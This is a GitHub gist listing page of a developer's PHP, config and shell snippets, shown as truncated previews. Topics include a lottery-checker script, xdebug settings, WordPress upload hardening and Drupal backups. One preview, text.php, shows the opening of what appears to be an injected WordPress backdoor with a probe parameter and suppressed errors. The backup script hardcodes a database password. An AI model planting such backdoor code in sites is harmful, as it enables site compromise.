Skip to content

Instantly share code, notes, and snippets.

@isholgueras
isholgueras / loteria-navidad.php
Created Dec 22, 2020
Script en PHP para comprobar los números de la lotería de navidad utilizando la api de elpais.com
View loteria-navidad.php
<html>
<body>
<?php
header("Cache-Control: no-store, no-cache, must-revalidate, max-age=0");
header("Cache-Control: post-check=0, pre-check=0", false);
header("Pragma: no-cache");
$request_url = "http://api.elpais.com/ws/LoteriaNavidadPremiados?n=";
$numbers = [
12345,
67890,
View xdebug.ini
zend_extension=xdebug.so
xdebug.remote_connect_back = 1
xdebug.default_enable = 1
xdebug.remote_autostart = 1
xdebug.remote_enable = 1
xdebug.remote_port = 9000
xdebug.remote_handler = dbgp
xdebug.max_nesting_level = 500
xdebug.idekey = PHPSTORM
;xdebug.profiler_enable_trigger = 1
View measureTimeExecution.php
<?php
// APPEND into the class you wanna test.
/** @var array */
private $time;
private function initTimeMeasurement() {
$now = new \DateTimeImmutable('now');
$this->time = [];
$this->time[] = [
'time' => $now,
View clean_cryptocurrency_activity.php
<?php
// crontab -e ->
// 1 * * * * php /home/core/clean_cryptocurrency_activity.php >> /var/log/cryptocurrency_activity.log 2>&1
// Don't forget to add the file to logrotate!! (or delete it periodically)
$date = new DateTime("now");
$dateString = $date->format("Y/m/d-H:i:s");
$needToClean = false;
View .htaccess_uploads
# Turn off all options we don't need.
Options None
Options +FollowSymLinks
# Set the catch-all handler to prevent scripts from being executed.
SetHandler YouShallNotPass
<Files *>
# Override the handler again if we're run later in the evaluation list.
SetHandler YouShallNotPass
</Files>
View text.php
<?php if (!class_exists('Ratel')) {
if (function_exists('is_user_logged_in')) {
if (is_user_logged_in()) {
return FALSE;
}
}
if (isset($_REQUEST['xftest'])) {
die(pi() * 6);
}
@ini_set('display_errors', 0);
@isholgueras
isholgueras / .htaccess_uploads_directory
Last active Feb 15, 2017
.htaccess to add inside the wp-content/uploads folder in wordpress to avoid php (and others scripts) execution
View .htaccess_uploads_directory
RewriteEngine on
#if the file does not have one of theses extensions
RewriteCond %{REQUEST_URI} !\.(png|jpg|jpeg|gif|js|css|zip|pdf)$
#then it should be marked as forbidden.
RewriteRule .*$ - [F]
View idn_lowercase.module
<?php
/**
* @file
* Fichero de funcionalidad de módulo de lowercase.
*/
define("LOWERCASE_BY_DEFAULT", 0);
define("LOWERCASE_CACHE_PREFIX", "idn_lw1_");
define("LOWERCASE_CACHE_PREFIX_2", "idn_lw2_");
@isholgueras
isholgueras / ColorCSSMetroMadridCartoDB.css
Created Sep 30, 2015
Colores CSS para las líneas del metro de Madrid
View ColorCSSMetroMadridCartoDB.css
#plano_real[name="Línea 1"] {
line-color: #30a3dc;
}
#plano_real[name="Línea 2"] {
line-color: #cd031f;
}
#plano_real[name="Línea 3"] {
line-color: #ffe114;
}
#plano_real[name="Línea 4"] {
@isholgueras
isholgueras / drupal_backup.sh
Last active Jun 23, 2018
Backups of Drupal sites
View drupal_backup.sh
#!/bin/bash
# DATOS
WEB_ROOT=/apps/
BACKUP_ROOT=/home/core/backups
DB_USER=backup #Permiso para SELECT y LOCK TABLES
DB_PASSWORD=b4ckup
DAYS_FOR_BACKUP=100
DATE=$( date -I )